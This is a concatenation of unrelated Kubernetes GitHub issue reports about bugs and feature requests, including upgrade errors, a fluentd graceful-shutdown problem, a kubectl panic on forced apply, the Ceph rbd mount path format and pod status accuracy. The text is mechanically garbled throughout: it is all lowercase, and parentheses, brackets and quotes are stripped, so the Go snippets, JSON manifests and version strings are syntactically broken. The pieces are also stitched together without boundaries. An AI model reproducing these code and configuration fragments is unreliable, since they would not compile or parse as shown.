and precisely as possible   :\r install kubernetes and start proxy.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r \r we are using 1.9.1\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1+icp\ , gitcommit:\ 75dbaf83789341a0782ffaab75cb97ca6fb40b16\ , gittreestate:\ clean\ , builddate:\ 2018-02-23t08:07:45z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1+icp\ , gitcommit:\ 75dbaf83789341a0782ffaab75cb97ca6fb40b16\ , gittreestate:\ clean\ , builddate:\ 2018-02-23t08:07:45z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @m1093782566 comments?\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r from  kubernetes sig cloud provider issues  https://docs.google.com/document/d/1oze-ub-v6b8y-guawejl-vu_f9jsjbbrim4lttfxssw/edit \r \r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r  recognizeregion  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/regions.go l61 \r  recognizewellknownregions  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/regions.go l82 \r  wellknownregions  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/regions.go l28 \r \r \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r upgrade from a lower version of kubernetes to v1.14 will cause containers to stop and get into \r  createcontainerconfigerror  state and stays there.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r say have a k8s version lower than v1.14, and a running pod.\r download k8s v1.14 and upgrade the k8s cluster.\r \r   anything else we need to know?  :\r should document this in the release note 1.14\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i have simple kubernetes running on ubuntu like it mentioned  here  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/getting-started-guides/docker.md . here i wanted to configure kubernetes ui along with grafana ui so that i can do/monitor stuff using ui.   i have followed  kubernetesui  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/ui.md  project and  this  https://github.com/googlecloudplatform/heapster/blob/master/docs/influxdb.md  link for help, but not able to setup in mentioned environment. anybody tried setting up kubernetes ui or grafana ui in kubernetes cluster ?  update1- it seems like kubernetes ui lives in kubernetes  code base  https://github.com/googlecloudplatform/kubernetes/tree/master/www . is there any pre-cooked docker image available like 'hyperkube' ? or do i need to pick that code out from kubernetes code base and need to manually run in docker container ? i also tried to run all the pods and services mentioned  here  https://github.com/googlecloudplatform/heapster/blob/master/docs/influxdb.md  in above environment. but that heapster pod is not starting somehow after so long, anybody tried that ?

for a while, we were running tests against gke at versions we didn't realize, because we weren't properly setting  e2e_set_cluster_api_version .  see  16533.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r now the  daemoncontrol test  do not include verify for daemonset event number  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/daemon/daemoncontroller_test.go l274 , we should add this check in the unit test.\r \r such as \r    \r func validatesyncdaemonsets t  testing.t, fakepodcontrol  fakepodcontrol, expectedcreates, expecteddeletes int, expectedevents int  {\r    \r \r /cc @wojtek-t

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r the daemoncontroller is now checking at here https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/daemon/daemoncontroller.go l1129-l1140 , but it actually calling  predicates.essentialpredicates pod, nil, nodeinfo   and  predicates.generalpredicates pod, nil, nodeinfo  , so there will be no  unintentional  predicates reasons, so we should remove those checking.\r \r    \r                         // unintentional\r \t\t\tcase\r \t\t\t\tpredicates.errdiskconflict,\r \t\t\t\tpredicates.errvolumezoneconflict,\r \t\t\t\tpredicates.errmaxvolumecountexceeded,\r \t\t\t\tpredicates.errnodeundermemorypressure,\r \t\t\t\tpredicates.errnodeunderdiskpressure:\r \t\t\t\t// wanttorun and shouldcontinuerunning are likely true here. they are\r \t\t\t\t// absolutely true at the time of writing the comment. see first comment\r \t\t\t\t// of this method.\r \t\t\t\tshouldschedule = false\r \t\t\t\temitevent = true\r    \r \r cc @janetkuo \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

 \r in the api reference -- \r https://kubernetes.io/docs/api-reference/v1.7/ container-v1-core\r volumemounts is a list, but as per the documentation, it must be a array.

i want to run a non-root user in my container and using the persistentvolume via ceph rbd. what troubles me is the pv's permission. i have tried to change the pv's gid but it still does not work.\r the pod.yaml is as below:\r volumemounts:\r         - name: ceph-vol1\r           mountpath: /home/work/clouddisk\r           readonly: false\r although i have chown /home/work/clouddisk to my non-root user in dockerfile, but when the pod is running i saw /home/work/clouddisk is root again. how can i change pv's permission?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r  \r   what happened  : we have a customer request  via kubernetes slack sig-azure channel  for ingress controller for azure application gateway.  i have started some work on this  in a separate repo  but it's not yet ready for even kicking the tyres.  this is a tracking issue for people to discuss requirements and progress.\r \r   anything else we need to know?  : no\r \r   environment  : n/a

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when the  fluentd-es  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-ds.yaml  daemonset pods using the fluentd-elasticsearch  docker image  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-image/dockerfile  are killed, they do not handle the initial signal to gracefully terminate.\r this means when the pod is terminated, it takes at least 30 seconds, as kubernetes waits for the grace period to expire before sending sigkill, which does kill it.\r \r   what you expected to happen  :\r fluentd running in the container receives the initial term signal and gracefully exits, flushing its buffer while doing so.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   with a cluster running the _fluentd-elasticsearch_ daemonset, do  eg.   kubectl delete fluentd-es-m45ws \r   notice the pod immediately shows as \ terminating\  when running  kubectl get pods \r   notice the pod takes at least 30 seconds to terminate\r \r   anything else we need to know?  :\r \r i have fixed this in my deployment by adding  dumb-init  https://github.com/yelp/dumb-init  to the  dockerfile  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-image/dockerfile , just adding  dumb-init  to the apt packages to install and an  entrypoint :\r \r    \r entrypoint  \ /usr/bin/dumb-init\ , \ --\  \r    \r \r however, i noticed that when  running locally  i send the sigterm signal to the container it does not log \ received graceful stop\  as it does when i send sigint to the container.\r it does however exit immediately.\r \r this may mean that logs are lost as they are not flushed when killing this pod. this may be acceptable as this is the current behavior after the 30 second grace period.\r \r   environment  :\r - kubernetes version  use  kubectl version  : n/a\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r   - reproduced with the  k8s.gcr.io/fluentd-elasticsearch:v2.0.4  image\r

so that people can do  kubectl create -f <file>  without having to use  kubectl config use-context ...   @bgrant0607 @jlowdermilk @smarterclayton

a patch request to:  /apis/extensions/v1beta1/namespaces/default/deployments/adminer  of  'content-type': 'application/json-patch+json'  with body:       {            op: 'replace',         path: 'spec/template/spec/containers/0/image',         value: 'clue/adminer' },   {            op: 'replace',         path: 'spec/template/spec/containers/0/env',         value:    }       results in:      {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ an error on the server has prevented the request from succeeding\ ,   \ reason\ : \ internalerror\ ,   \ details\ : {},   \ code\ : 500 }      and the kube-api-server logs show this:      e0510 18:59:10.790108       1 apiserver.go:207  recover from panic situation: - runtime error: invalid memory address or nil pointer dereference     /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:183     /usr/src/go/src/runtime/asm_amd64.s:401     /usr/src/go/src/runtime/panic.go:387     /usr/src/go/src/runtime/panic.go:42     /usr/src/go/src/runtime/sigpanic_unix.go:26     /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/evanphx/json-patch/patch.go:390     /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/evanphx/json-patch/patch.go:481     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:1029     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:531     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:500     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101     /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:249     /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:95     /usr/src/go/src/net/http/server.go:1265     /usr/src/go/src/net/http/server.go:1541     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:414     /usr/src/go/src/net/http/server.go:1265     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/auth/handlers/handlers.go:47     /usr/src/go/src/net/http/server.go:1265     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:101     /usr/src/go/src/net/http/server.go:1265     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:101     /usr/src/go/src/net/http/server.go:1265     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:182     /usr/src/go/src/runtime/asm_amd64.s:2232      the original deployment was this:      apiversion: extensions/v1beta1 kind: deployment metadata:   labels:     app: adminer   name: adminer   namespace: default spec:   replicas: 1   selector:     matchlabels:       app: adminer   template:     metadata:       labels:         app: adminer     spec:       containers:       - env:         - name: foo           value: bar         image: clue/adminer         name: adminer         ports:         - containerport: 80

sub task of https://github.com/kubernetes/kubernetes/issues/27667 - this avoids unnecessary conversion of api objects from internal to a different version. - controllers become immune to api changes in internal version.  @caesarxuchao has been working on some of this. cc @kubernetes/sig-api-machinery

is this a bug report or feature request?    choose one :  bug report    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:13:36z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : gcp    what happened  :  after sustained running for around a weeks the pods stopped serving any request. ssh-ing into the instance curl-ing the ip of the pod didn't respond to the request. the service was running as expected. the pods showed status running.  also tried to delete and recreate the deployment in vain.  and what fixed this problem: the exact same thing that makes the hpa start working again   34312 . upgrading kubernetes from the gcp ui.    what you expected to happen  :  k8s to be reliable and just work, and not let the services go down.   moved from aws to gcp  because of _k8s_ , but these major issue are having us considering to move back.

 \r cluster add-ons should support switching between  addonmanager.kubernetes.io/mode=reconcile  and  addonmanager.kubernetes.io/mode=ensureexists  by updating the addon definition via kubernetes api.\r \r current addons like dashboard, fluentd agent and kube-dns specify  addonmanager.kubernetes.io/mode=reconcile  in their manifest files. this effectively means they cannot be updated without updating the manifest file, which is a poor experience. i'm not sure whether the solution is having them all default to  addonmanager.kubernetes.io/mode=ensureexists , but it should be possible to switch between the modes by simply updating the addon's config, e.g. with  kubectl edit .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when trying to forcefully update  poddistributionbudget  using  kubectl apply --force -f pdb.json  command segmentatio voliation happens.\r \r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x15dcc0b \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/resource.  helper .deletewithoptions 0xc420a7e200, 0xc4201cc95c, 0x4, 0xc4201cc92c, 0x4, 0x0, 0xc420a7e200, 0x20933ff \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/helper.go:103 +0x3b\r k8s.io/kubernetes/pkg/kubectl/resource.  helper .delete 0xc420a7e200, 0xc4201cc95c, 0x4, 0xc4201cc92c, 0x4, 0xc420a1e700, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/helper.go:99 +0x5c\r k8s.io/kubernetes/pkg/kubectl/cmd.rundelete 0xc4201cc95c, 0x4, 0xc4201cc92c, 0x4, 0xc42026d260, 0x0, 0x0, 0xc420471900, 0x1, 0xffffffffffffffff, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/apply.go:523 +0x221\r k8s.io/kubernetes/pkg/kubectl/cmd.  patcher .delete 0xc42026d960, 0xc4201cc95c, 0x4, 0xc4201cc92c, 0x4, 0x1a6, 0xc4206aef70 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/apply.go:536 +0x9c\r k8s.io/kubernetes/pkg/kubectl/cmd.  patcher .deleteandcreate 0xc42026d960, 0xc42094b500, 0x2e7, 0x2e7, 0xc4201cc95c, 0x4, 0xc4201cc92c, 0x4, 0xc4201cc95c, 0x4, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/apply.go:623 +0x63\r k8s.io/kubernetes/pkg/kubectl/cmd.  patcher .patch 0xc42026d960, 0x2e41da0, 0xc420479a48, 0xc42094b500, 0x2e7, 0x2e7, 0x208d32a, 0x5, 0xc4201cc95c, 0x4, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/apply.go:617 +0x43a\r k8s.io/kubernetes/pkg/kubectl/cmd.runapply.func1 0xc4201d4c00, 0x0, 0x0, 0x9, 0x15e6501 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/apply.go:320 +0x76a\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit.func1 0xc4201d4c00, 0x0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:348 +0x153\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit.func1 0xc4201d4c00, 0x0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:324 +0xdf\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit.func1 0xc4201d4c00, 0x0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:389 +0x572\r k8s.io/kubernetes/pkg/kubectl/resource.eagervisitorlist.visit.func1 0xc4201d4c00, 0x0, 0x0, 0x1c0, 0x208d32a \r \r ...\r    \r \r   what you expected to happen  :\r \r poddistributionbudget to be replaced\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create  pdb.json :\r \r    \r {\r   \ apiversion\ : \ policy/v1beta1\ ,\r   \ kind\ : \ poddisruptionbudget\ ,\r   \ metadata\ : {\r     \ name\ : \ test\ \r   },\r   \ spec\ : {\r     \ minavailable\ : \ 60%\ ,\r     \ selector\ : {\r       \ matchlabels\ : {\r         \ name\ : \ myapp\ \r       }\r     }\r   }\r }\r    \r \r create  poddistributionbudget :\r \r    \r kubectl apply -f pdb.json\r    \r \r forcefull update  replace   poddistributionbudget :\r \r    \r kubectl apply -f pdb.json --force\r    \r \r   anything else we need to know?  :\r \r the same error happens on kubectl version 1.6 or 1.7. manually deleting and recreating  poddistributionbudget  works.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release : debian gnu/linux 7  wheezy \r - kernel  e.g.  uname -a  : 3.16.0-4-amd64\r

 \r   what happened  :\r kubelet client certificate rotation is a new feature in beta in 1.8. there is a command line flag to enable it, but there is no option to configure the flag in the  kube-up.sh  script.\r \r   what you expected to happen  :\r it should be possible to enable kubelet client certificate rotation in new gce clusters.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  cluster/kube-up.sh \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r  pull-kubernetes-verify  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-verify/  is consistently failing the  hack/verify-swagger-spec.sh  step with:\r \r    \r i1004 21:15:37.949      /go/src/k8s.io/kubernetes/hack/../api/swagger-spec\r i1004 21:15:38.681  +++  1004 21:15:38  success\r i1004 21:15:38.692  +++  1004 21:15:38  clean up complete\r i1004 21:15:38.692  diffing /go/src/k8s.io/kubernetes/api/swagger-spec against freshly generated swagger spec\r i1004 21:15:38.698  diff -naupr -i 'auto generated by' /go/src/k8s.io/kubernetes/api/swagger-spec/apps_v1.json /go/src/k8s.io/kubernetes/_tmp/swagger-spec/apps_v1.json\r i1004 21:15:38.698  --- /go/src/k8s.io/kubernetes/api/swagger-spec/apps_v1.json\t2017-10-04 21:15:38.112158862 +0000\r i1004 21:15:38.698  +++ /go/src/k8s.io/kubernetes/_tmp/swagger-spec/apps_v1.json\t2017-10-04 20:21:31.853618584 +0000\r i1004 21:15:38.698  @@ -2503,7 +2503,7 @@\r i1004 21:15:38.698        },\r i1004 21:15:38.698        \ kind\ : {\r i1004 21:15:38.699         \ $ref\ : \ v1.azuredatadiskkind\ ,\r i1004 21:15:38.699  -      \ description\ : \ expected values shared: multiple blob disks per storage account  dedicated: single blob disk per storage account  managed: azure managed data disk  only in managed availability set . defaults to shared\ \r i1004 21:15:38.699  +      \ description\ : \ expected values shared: mulitple blob disks per storage account  dedicated: single blob disk per storage account  managed: azure managed data disk  only in managed availability set . defaults to shared\ \r i1004 21:15:38.699        }\r i1004 21:15:38.699       }\r i1004 21:15:38.700      },\r i1004 21:15:38.721  /go/src/k8s.io/kubernetes/api/swagger-spec is out of date. please run hack/update-swagger-spec.sh\r i1004 21:15:38.726  failed   hack/make-rules/../../hack/verify-swagger-spec.sh\t39s\r    \r \r   what you expected to happen  :\r  pull-kubernetes-verify  should not be failing. \r \r   how to reproduce it  as minimally and precisely as possible   :\r look at  pull-kubernetes-verify  failed runs.\r \r \r   anything else we need to know?  :\r nope\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r the  getdevicemountpath  method for ceph rbd volume plugin generates the path with code as follows:\r \r    go\r func makepdnameinternal host volume.volumehost, pool string, image string  string {\r \treturn path.join host.getplugindir rbdpluginname , \ rbd\ , pool+\ -image-\ +image \r }\r    \r \r so the device mount path's format will be:   {pluginname}/rbd/... , this implementation has two problems:\r \r 1. inconsistent with other volume plugins, as all the other plugins return  {pluginname}/mounts/... , see  ebs  https://github.com/kubernetes/kubernetes/blob/da9a4d5da9ecc6f687c873fb990d662b1f9f98b2/pkg/volume/aws_ebs/aws_ebs.go l387  as an example.\r \r 2. the  constructvolumespec  method of ceph rbd plugin is not working properly, because rbd plugin uses  getdevicenamefrommount  https://github.com/kubernetes/kubernetes/blob/da9a4d5da9ecc6f687c873fb990d662b1f9f98b2/pkg/util/mount/mount_linux.go l342  method to find the device mount path just like all the other plugins do , and  getdevicenamefrommount  method assumes the device mount path's format is  {pluginname}/mounts/...  see  this line  https://github.com/kubernetes/kubernetes/blob/da9a4d5da9ecc6f687c873fb990d662b1f9f98b2/pkg/util/mount/mount_linux.go l352  .\r \r   what you expected to happen  :\r \r the device mount path of rbd plugin should be  {pluginname}/mounts/... .\r \r   anything else we need to know?  :\r \r do we have any reason for this design? if not, i will submit a pr to fix this, the adjusted  makepdnameinternal  method maybe look like this:\r \r    go\r func makepdnameinternal host volume.volumehost, pool string, image string  string {\r \t// backward compatibility for the old path format:\r \t// /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/pool-image-image\r \tlegacydir := path.join host.getplugindir rbdpluginname , \ rbd\ , pool+\ -image-\ +image \r \tinfo, err := os.stat legacydir \r \tif err == nil && info.isdir   {\r \t\t// the device mount path has already been created with the old format, return it.\r \t\treturn legacydir\r \t}\r \t// return the new format path.\r \treturn path.join host.getplugindir rbdpluginname , mount.mountsinglobalpdpath, pool+\ -image-\ +image \r }\r    \r \r 

it appears the the status reflected in kubernetes via 'kubectl get pods' isn't always correct.  i'm seeing pods start on the minions then the app container  nginx in this case  dies while the pause container stays running.  the app container is continually restarted and continually dies 1-2 seconds after it starts.  the status for this pod in kubernetes is running, but clearly that is not the case.  the information stored for one such pod in etcd looks like this:      {\ kind\ :\ pod\ ,\ id\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755kjfpx\ ,\ uid\ :\ 03978f40-d301-11e4-a6fe-54ee7510755a\ ,\ creationtimestamp\ :\ 2015-03-25t15:10:03z\ ,\ selflink\ :\ /api/v1beta1/pods/my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755kjfpx?namespace=e2e-density100-038b4df2-d301-11e4-806b-54ee7510755a\ ,\ resourceversion\ :51000,\ apiversion\ :\ v1beta1\ ,\ namespace\ :\ e2e-density100-038b4df2-d301-11e4-806b-54ee7510755a\ ,\ generatename\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755a-\ ,\ labels\ :{\ name\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755a\ },\ desiredstate\ :{\ manifest\ :{\ version\ :\ v1beta2\ ,\ id\ :\ \ ,\ volumes\ :null,\ containers\ : {\ name\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755a\ ,\ image\ :\ dockerfile/nginx\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ pullifnotpresent\ ,\ capabilities\ :{}} ,\ restartpolicy\ :{\ always\ :{}},\ dnspolicy\ :\ clusterfirst\ },\ host\ :\ 127.0.0.1\ },\ currentstate\ :{\ manifest\ :{\ version\ :\ \ ,\ id\ :\ \ ,\ volumes\ :null,\ containers\ :null,\ restartpolicy\ :{}},\ status\ :\ running\ ,\ condition\ : {\ kind\ :\ ready\ ,\ status\ :\ none\ } ,\ host\ :\ 127.0.0.1\ ,\ podip\ :\ 172.17.3.27\ ,\ info\ :{\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755a\ :{\ state\ :{\ termination\ :{\ exitcode\ :127,\ startedat\ :\ 2015-03-25t15:14:28z\ ,\ finishedat\ :\ 2015-03-25t15:14:28z\ }},\ ready\ :false,\ restartcount\ :7,\ image\ :\ dockerfile/nginx\ ,\ imageid\ :\ docker://9f4cd86c1aece2a4f468a3c39db6b13016457586f92abbc066dccccf42f63131\ ,\ containerid\ :\ docker://36098413f6174486405310e8db1561fd74f656f5282e4542cd8df1325c0573a9\ }}}}      when it restarts the containerid changes, but the currentstate:status never changes after it becomes running.  a pod that has not yet started looks like this:      {\ kind\ :\ pod\ ,\ id\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755zs8zc\ ,\ uid\ :\ 03903057-d301-11e4-a6fe-54ee7510755a\ ,\ creationtimestamp\ :\ 2015-03-25t15:10:03z\ ,\ resourceversion\ :49324,\ apiversion\ :\ v1beta1\ ,\ namespace\ :\ e2e-density100-038b4df2-d301-11e4-806b-54ee7510755a\ ,\ generatename\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755a-\ ,\ labels\ :{\ name\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755a\ },\ desiredstate\ :{\ manifest\ :{\ version\ :\ v1beta2\ ,\ id\ :\ \ ,\ volumes\ :null,\ containers\ : {\ name\ :\ my-hostname-density100-038b4df2-d301-11e4-806b-54ee7510755a\ ,\ image\ :\ dockerfile/nginx\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ pullifnotpresent\ ,\ capabilities\ :{}} ,\ restartpolicy\ :{\ always\ :{}},\ dnspolicy\ :\ clusterfirst\ },\ host\ :\ 127.0.0.1\ },\ currentstate\ :{\ manifest\ :{\ version\ :\ \ ,\ id\ :\ \ ,\ volumes\ :null,\ containers\ :null,\ restartpolicy\ :{}},\ status\ :\ waiting\ ,\ host\ :\ 127.0.0.1\ }}      it is lacking the currentstate field..  i would expect that the kubelet should wait to verify that the container runs for a short time period before determining that it is running and thus report it back to the master.  i would also expect that the kubelet should report to the master when the pod isn't fully functional  ie a container dies and/or won't stay up after restart .

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r  \r   what happened  :\r the k8s token checker does not support resolving distributed claims for  among others  group claims.\r \r   what you expected to happen  :\r it should be possible for the k8s token checker to resolve distributed claims if the idp provides them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r one can inspect the  token checker source code  2  to the token checker to determine that there currently is no special handling of distributed claims.  distributed claims come in very handy when the claim content is fairly large, as is the case e.g. for  groups  claims in some existing idp implementations.\r 